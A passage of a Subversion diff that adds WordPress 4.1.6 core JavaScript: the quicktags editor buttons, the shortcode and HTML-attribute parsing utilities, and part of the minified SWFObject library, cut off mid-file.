+		t.display = display;
+		t.access = '';
+		t.title = title || '';
+		t.instance = instance || '';
+	};
+	qt.Button.prototype.html = function(idPrefix) {
+		var title = this.title ? ' title="' + this.title + '"' : '',
+			active, on, wp,
+			dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw;
+
+		if ( this.id === 'fullscreen' ) {
+			return '<button type="button" id="' + idPrefix + this.id + '" class="ed_button qt-dfw qt-fullscreen"' + title + '></button>';
+		} else if ( this.id === 'dfw' ) {
+			active = dfw && dfw.isActive() ? '' : ' disabled="disabled"';
+			on = dfw && dfw.isOn() ? ' active' : '';
+
+			return '<button type="button" id="' + idPrefix + this.id + '" class="ed_button qt-dfw' + on + '"' + title + active + '></button>';
+		}
+
+		return '<input type="button" id="' + idPrefix + this.id + '" class="ed_button button button-small"' + title + ' value="' + this.display + '" />';
+	};
+	qt.Button.prototype.callback = function(){};
+
+	// a button that inserts HTML tag
+	qt.TagButton = function(id, display, tagStart, tagEnd, access, title, instance) {
+		var t = this;
+		qt.Button.call(t, id, display, access, title, instance);
+		t.tagStart = tagStart;
+		t.tagEnd = tagEnd;
+	};
+	qt.TagButton.prototype = new qt.Button();
+	qt.TagButton.prototype.openTag = function(e, ed) {
+		var t = this;
+
+		if ( ! ed.openTags ) {
+			ed.openTags = [];
+		}
+		if ( t.tagEnd ) {
+			ed.openTags.push(t.id);
+			e.value = '/' + e.value;
+		}
+	};
+	qt.TagButton.prototype.closeTag = function(e, ed) {
+		var t = this, i = t.isOpen(ed);
+
+		if ( i !== false ) {
+			ed.openTags.splice(i, 1);
+		}
+
+		e.value = t.display;
+	};
+	// whether a tag is open or not. Returns false if not open, or current open depth of the tag
+	qt.TagButton.prototype.isOpen = function (ed) {
+		var t = this, i = 0, ret = false;
+		if ( ed.openTags ) {
+			while ( ret === false && i < ed.openTags.length ) {
+				ret = ed.openTags[i] === t.id ? i : false;
+				i ++;
+			}
+		} else {
+			ret = false;
+		}
+		return ret;
+	};
+	qt.TagButton.prototype.callback = function(element, canvas, ed) {
+		var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '';
+
+		if ( document.selection ) { // IE
+			canvas.focus();
+			sel = document.selection.createRange();
+			if ( sel.text.length > 0 ) {
+				if ( !t.tagEnd ) {
+					sel.text = sel.text + t.tagStart;
+				} else {
+					sel.text = t.tagStart + sel.text + endTag;
+				}
+			} else {
+				if ( !t.tagEnd ) {
+					sel.text = t.tagStart;
+				} else if ( t.isOpen(ed) === false ) {
+					sel.text = t.tagStart;
+					t.openTag(element, ed);
+				} else {
+					sel.text = endTag;
+					t.closeTag(element, ed);
+				}
+			}
+			canvas.focus();
+		} else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera
+			startPos = canvas.selectionStart;
+			endPos = canvas.selectionEnd;
+			cursorPos = endPos;
+			scrollTop = canvas.scrollTop;
+			l = v.substring(0, startPos); // left of the selection
+			r = v.substring(endPos, v.length); // right of the selection
+			i = v.substring(startPos, endPos); // inside the selection
+			if ( startPos !== endPos ) {
+				if ( !t.tagEnd ) {
+					canvas.value = l + i + t.tagStart + r; // insert self closing tags after the selection
+					cursorPos += t.tagStart.length;
+				} else {
+					canvas.value = l + t.tagStart + i + endTag + r;
+					cursorPos += t.tagStart.length + endTag.length;
+				}
+			} else {
+				if ( !t.tagEnd ) {
+					canvas.value = l + t.tagStart + r;
+					cursorPos = startPos + t.tagStart.length;
+				} else if ( t.isOpen(ed) === false ) {
+					canvas.value = l + t.tagStart + r;
+					t.openTag(element, ed);
+					cursorPos = startPos + t.tagStart.length;
+				} else {
+					canvas.value = l + endTag + r;
+					cursorPos = startPos + endTag.length;
+					t.closeTag(element, ed);
+				}
+			}
+
+			canvas.selectionStart = cursorPos;
+			canvas.selectionEnd = cursorPos;
+			canvas.scrollTop = scrollTop;
+			canvas.focus();
+		} else { // other browsers?
+			if ( !endTag ) {
+				canvas.value += t.tagStart;
+			} else if ( t.isOpen(ed) !== false ) {
+				canvas.value += t.tagStart;
+				t.openTag(element, ed);
+			} else {
+				canvas.value += endTag;
+				t.closeTag(element, ed);
+			}
+			canvas.focus();
+		}
+	};
+
+	// removed
+	qt.SpellButton = function() {};
+
+	// the close tags button
+	qt.CloseButton = function() {
+		qt.Button.call(this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags);
+	};
+
+	qt.CloseButton.prototype = new qt.Button();
+
+	qt._close = function(e, c, ed) {
+		var button, element, tbo = ed.openTags;
+
+		if ( tbo ) {
+			while ( tbo.length > 0 ) {
+				button = ed.getButton(tbo[tbo.length - 1]);
+				element = document.getElementById(ed.name + '_' + button.id);
+
+				if ( e ) {
+					button.callback.call(button, element, c, ed);
+				} else {
+					button.closeTag(element, ed);
+				}
+			}
+		}
+	};
+
+	qt.CloseButton.prototype.callback = qt._close;
+
+	qt.closeAllTags = function(editor_id) {
+		var ed = this.getInstance(editor_id);
+		qt._close('', ed.canvas, ed);
+	};
+
+	// the link button
+	qt.LinkButton = function() {
+		qt.TagButton.call(this, 'link', 'link', '', '</a>');
+	};
+	qt.LinkButton.prototype = new qt.TagButton();
+	qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) {
+		var URL, t = this;
+
+		if ( typeof wpLink !== 'undefined' ) {
+			wpLink.open( ed.id );
+			return;
+		}
+
+		if ( ! defaultValue ) {
+			defaultValue = 'http://';
+		}
+
+		if ( t.isOpen(ed) === false ) {
+			URL = prompt(quicktagsL10n.enterURL, defaultValue);
+			if ( URL ) {
+				t.tagStart = '<a href="' + URL + '">';
+				qt.TagButton.prototype.callback.call(t, e, c, ed);
+			}
+		} else {
+			qt.TagButton.prototype.callback.call(t, e, c, ed);
+		}
+	};
+
+	// the img button
+	qt.ImgButton = function() {
+		qt.TagButton.call(this, 'img', 'img', '', '');
+	};
+	qt.ImgButton.prototype = new qt.TagButton();
+	qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) {
+		if ( ! defaultValue ) {
+			defaultValue = 'http://';
+		}
+		var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt;
+		if ( src ) {
+			alt = prompt(quicktagsL10n.enterImageDescription, '');
+			this.tagStart = '<img src="' + src + '" alt="' + alt + '" />';
+			qt.TagButton.prototype.callback.call(this, e, c, ed);
+		}
+	};
+
+	qt.FullscreenButton = function() {
+		qt.Button.call(this, 'fullscreen', quicktagsL10n.fullscreen, 'f', quicktagsL10n.toggleFullscreen);
+	};
+	qt.FullscreenButton.prototype = new qt.Button();
+	qt.FullscreenButton.prototype.callback = function(e, c) {
+		if ( ! c.id || typeof wp === 'undefined' || ! wp.editor || ! wp.editor.fullscreen ) {
+			return;
+		}
+
+		wp.editor.fullscreen.on();
+	};
+
+	qt.DFWButton = function() {
+		qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw );
+	};
+	qt.DFWButton.prototype = new qt.Button();
+	qt.DFWButton.prototype.callback = function() {
+		var wp;
+
+		if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) {
+			return;
+		}
+
+		window.wp.editor.dfw.toggle();
+	};
+
+	qt.TextDirectionButton = function() {
+		qt.Button.call(this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection);
+	};
+	qt.TextDirectionButton.prototype = new qt.Button();
+	qt.TextDirectionButton.prototype.callback = function(e, c) {
+		var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ),
+			currentDirection = c.style.direction;
+
+		if ( ! currentDirection ) {
+			currentDirection = ( isRTL ) ? 'rtl' : 'ltr';
+		}
+
+		c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl';
+		c.focus();
+	};
+
+	// ensure backward compatibility
+	edButtons[10] = new qt.TagButton('strong','b','<strong>','</strong>');
+	edButtons[20] = new qt.TagButton('em','i','<em>','</em>'),
+	edButtons[30] = new qt.LinkButton(), // special case
+	edButtons[40] = new qt.TagButton('block','b-quote','\n\n<blockquote>','</blockquote>\n\n'),
+	edButtons[50] = new qt.TagButton('del','del','<del datetime="' + _datetime + '">','</del>'),
+	edButtons[60] = new qt.TagButton('ins','ins','<ins datetime="' + _datetime + '">','</ins>'),
+	edButtons[70] = new qt.ImgButton(), // special case
+	edButtons[80] = new qt.TagButton('ul','ul','<ul>\n','</ul>\n\n'),
+	edButtons[90] = new qt.TagButton('ol','ol','<ol>\n','</ol>\n\n'),
+	edButtons[100] = new qt.TagButton('li','li','\t<li>','</li>\n'),
+	edButtons[110] = new qt.TagButton('code','code','<code>','</code>'),
+	edButtons[120] = new qt.TagButton('more','more','<!--more-->\n\n',''),
+	edButtons[140] = new qt.CloseButton();
+
+})();
Index: /tags/4.1.6/src/wp-includes/js/shortcode.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/shortcode.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/shortcode.js	(revision 33402)
@@ -0,0 +1,356 @@
+// Utility functions for parsing and handling shortcodes in JavaScript.
+
+// Ensure the global `wp` object exists.
+window.wp = window.wp || {};
+
+(function(){
+	wp.shortcode = {
+		// ### Find the next matching shortcode
+		//
+		// Given a shortcode `tag`, a block of `text`, and an optional starting
+		// `index`, returns the next matching shortcode or `undefined`.
+		//
+		// Shortcodes are formatted as an object that contains the match
+		// `content`, the matching `index`, and the parsed `shortcode` object.
+		next: function( tag, text, index ) {
+			var re = wp.shortcode.regexp( tag ),
+				match, result;
+
+			re.lastIndex = index || 0;
+			match = re.exec( text );
+
+			if ( ! match ) {
+				return;
+			}
+
+			// If we matched an escaped shortcode, try again.
+			if ( '[' === match[1] && ']' === match[7] ) {
+				return wp.shortcode.next( tag, text, re.lastIndex );
+			}
+
+			result = {
+				index:     match.index,
+				content:   match[0],
+				shortcode: wp.shortcode.fromMatch( match )
+			};
+
+			// If we matched a leading `[`, strip it from the match
+			// and increment the index accordingly.
+			if ( match[1] ) {
+				result.content = result.content.slice( 1 );
+				result.index++;
+			}
+
+			// If we matched a trailing `]`, strip it from the match.
+			if ( match[7] ) {
+				result.content = result.content.slice( 0, -1 );
+			}
+
+			return result;
+		},
+
+		// ### Replace matching shortcodes in a block of text
+		//
+		// Accepts a shortcode `tag`, content `text` to scan, and a `callback`
+		// to process the shortcode matches and return a replacement string.
+		// Returns the `text` with all shortcodes replaced.
+		//
+		// Shortcode matches are objects that contain the shortcode `tag`,
+		// a shortcode `attrs` object, the `content` between shortcode tags,
+		// and a boolean flag to indicate if the match was a `single` tag.
+		replace: function( tag, text, callback ) {
+			return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
+				// If both extra brackets exist, the shortcode has been
+				// properly escaped.
+				if ( left === '[' && right === ']' ) {
+					return match;
+				}
+
+				// Create the match object and pass it through the callback.
+				var result = callback( wp.shortcode.fromMatch( arguments ) );
+
+				// Make sure to return any of the extra brackets if they
+				// weren't used to escape the shortcode.
+				return result ? left + result + right : match;
+			});
+		},
+
+		// ### Generate a string from shortcode parameters
+		//
+		// Creates a `wp.shortcode` instance and returns a string.
+		//
+		// Accepts the same `options` as the `wp.shortcode()` constructor,
+		// containing a `tag` string, a string or object of `attrs`, a boolean
+		// indicating whether to format the shortcode using a `single` tag, and a
+		// `content` string.
+		string: function( options ) {
+			return new wp.shortcode( options ).string();
+		},
+
+		// ### Generate a RegExp to identify a shortcode
+		//
+		// The base regex is functionally equivalent to the one found in
+		// `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
+		//
+		// Capture groups:
+		//
+		// 1. An extra `[` to allow for escaping shortcodes with double `[[]]`
+		// 2. The shortcode name
+		// 3. The shortcode argument list
+		// 4. The self closing `/`
+		// 5. The content of a shortcode when it wraps some content.
+		// 6. The closing tag.
+		// 7. An extra `]` to allow for escaping shortcodes with double `[[]]`
+		regexp: _.memoize( function( tag ) {
+			return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
+		}),
+
+
+		// ### Parse shortcode attributes
+		//
+		// Shortcodes accept many types of attributes. These can chiefly be
+		// divided into named and numeric attributes:
+		//
+		// Named attributes are assigned on a key/value basis, while numeric
+		// attributes are treated as an array.
+		//
+		// Named attributes can be formatted as either `name="value"`,
+		// `name='value'`, or `name=value`. Numeric attributes can be formatted
+		// as `"value"` or just `value`.
+		attrs: _.memoize( function( text ) {
+			var named   = {},
+				numeric = [],
+				pattern, match;
+
+			// This regular expression is reused from `shortcode_parse_atts()`
+			// in `wp-includes/shortcodes.php`.
+			//
+			// Capture groups:
+			//
+			// 1. An attribute name, that corresponds to...
+			// 2. a value in double quotes.
+			// 3. An attribute name, that corresponds to...
+			// 4. a value in single quotes.
+			// 5. An attribute name, that corresponds to...
+			// 6. an unquoted value.
+			// 7. A numeric attribute in double quotes.
+			// 8. An unquoted numeric attribute.
+			pattern = /(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/g;
+
+			// Map zero-width spaces to actual spaces.
+			text = text.replace( /[\u00a0\u200b]/g, ' ' );
+
+			// Match and normalize attributes.
+			while ( (match = pattern.exec( text )) ) {
+				if ( match[1] ) {
+					named[ match[1].toLowerCase() ] = match[2];
+				} else if ( match[3] ) {
+					named[ match[3].toLowerCase() ] = match[4];
+				} else if ( match[5] ) {
+					named[ match[5].toLowerCase() ] = match[6];
+				} else if ( match[7] ) {
+					numeric.push( match[7] );
+				} else if ( match[8] ) {
+					numeric.push( match[8] );
+				}
+			}
+
+			return {
+				named:   named,
+				numeric: numeric
+			};
+		}),
+
+		// ### Generate a Shortcode Object from a RegExp match
+		// Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
+		// generated by `wp.shortcode.regexp()`. `match` can also be set to the
+		// `arguments` from a callback passed to `regexp.replace()`.
+		fromMatch: function( match ) {
+			var type;
+
+			if ( match[4] ) {
+				type = 'self-closing';
+			} else if ( match[6] ) {
+				type = 'closed';
+			} else {
+				type = 'single';
+			}
+
+			return new wp.shortcode({
+				tag:     match[2],
+				attrs:   match[3],
+				type:    type,
+				content: match[5]
+			});
+		}
+	};
+
+
+	// Shortcode Objects
+	// -----------------
+	//
+	// Shortcode objects are generated automatically when using the main
+	// `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
+	//
+	// To access a raw representation of a shortcode, pass an `options` object,
+	// containing a `tag` string, a string or object of `attrs`, a string
+	// indicating the `type` of the shortcode ('single', 'self-closing', or
+	// 'closed'), and a `content` string.
+	wp.shortcode = _.extend( function( options ) {
+		_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
+
+		var attrs = this.attrs;
+
+		// Ensure we have a correctly formatted `attrs` object.
+		this.attrs = {
+			named:   {},
+			numeric: []
+		};
+
+		if ( ! attrs ) {
+			return;
+		}
+
+		// Parse a string of attributes.
+		if ( _.isString( attrs ) ) {
+			this.attrs = wp.shortcode.attrs( attrs );
+
+		// Identify a correctly formatted `attrs` object.
+		} else if ( _.isEqual( _.keys( attrs ), [ 'named', 'numeric' ] ) ) {
+			this.attrs = attrs;
+
+		// Handle a flat object of attributes.
+		} else {
+			_.each( options.attrs, function( value, key ) {
+				this.set( key, value );
+			}, this );
+		}
+	}, wp.shortcode );
+
+	_.extend( wp.shortcode.prototype, {
+		// ### Get a shortcode attribute
+		//
+		// Automatically detects whether `attr` is named or numeric and routes
+		// it accordingly.
+		get: function( attr ) {
+			return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
+		},
+
+		// ### Set a shortcode attribute
+		//
+		// Automatically detects whether `attr` is named or numeric and routes
+		// it accordingly.
+		set: function( attr, value ) {
+			this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
+			return this;
+		},
+
+		// ### Transform the shortcode match into a string
+		string: function() {
+			var text    = '[' + this.tag;
+
+			_.each( this.attrs.numeric, function( value ) {
+				if ( /\s/.test( value ) ) {
+					text += ' "' + value + '"';
+				} else {
+					text += ' ' + value;
+				}
+			});
+
+			_.each( this.attrs.named, function( value, name ) {
+				text += ' ' + name + '="' + value + '"';
+			});
+
+			// If the tag is marked as `single` or `self-closing`, close the
+			// tag and ignore any additional content.
+			if ( 'single' === this.type ) {
+				return text + ']';
+			} else if ( 'self-closing' === this.type ) {
+				return text + ' /]';
+			}
+
+			// Complete the opening tag.
+			text += ']';
+
+			if ( this.content ) {
+				text += this.content;
+			}
+
+			// Add the closing tag.
+			return text + '[/' + this.tag + ']';
+		}
+	});
+}());
+
+// HTML utility functions
+// ----------------------
+//
+// Experimental. These functions may change or be removed in the future.
+(function(){
+	wp.html = _.extend( wp.html || {}, {
+		// ### Parse HTML attributes.
+		//
+		// Converts `content` to a set of parsed HTML attributes.
+		// Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
+		// the HTML attribute specification. Reformats the attributes into an
+		// object that contains the `attrs` with `key:value` mapping, and a record
+		// of the attributes that were entered using `empty` attribute syntax (i.e.
+		// with no value).
+		attrs: function( content ) {
+			var result, attrs;
+
+			// If `content` ends in a slash, strip it.
+			if ( '/' === content[ content.length - 1 ] ) {
+				content = content.slice( 0, -1 );
+			}
+
+			result = wp.shortcode.attrs( content );
+			attrs  = result.named;
+
+			_.each( result.numeric, function( key ) {
+				if ( /\s/.test( key ) ) {
+					return;
+				}
+
+				attrs[ key ] = '';
+			});
+
+			return attrs;
+		},
+
+		// ### Convert an HTML-representation of an object to a string.
+		string: function( options ) {
+			var text = '<' + options.tag,
+				content = options.content || '';
+
+			_.each( options.attrs, function( value, attr ) {
+				text += ' ' + attr;
+
+				// Use empty attribute notation where possible.
+				if ( '' === value ) {
+					return;
+				}
+
+				// Convert boolean values to strings.
+				if ( _.isBoolean( value ) ) {
+					value = value ? 'true' : 'false';
+				}
+
+				text += '="' + value + '"';
+			});
+
+			// Return the result if it is a self-closing tag.
+			if ( options.single ) {
+				return text + ' />';
+			}
+
+			// Complete the opening tag.
+			text += '>';
+
+			// If `content` is an object, recursively call this function.
+			text += _.isObject( content ) ? wp.html.string( content ) : content;
+
+			return text + '</' + options.tag + '>';
+		}
+	});
+}());
Index: /tags/4.1.6/src/wp-includes/js/swfobject.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfobject.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfobject.js	(revision 33402)
@@ -0,0 +1,4 @@
+/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
+	is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
+*/
+var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+encodeURI(O.location).toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var 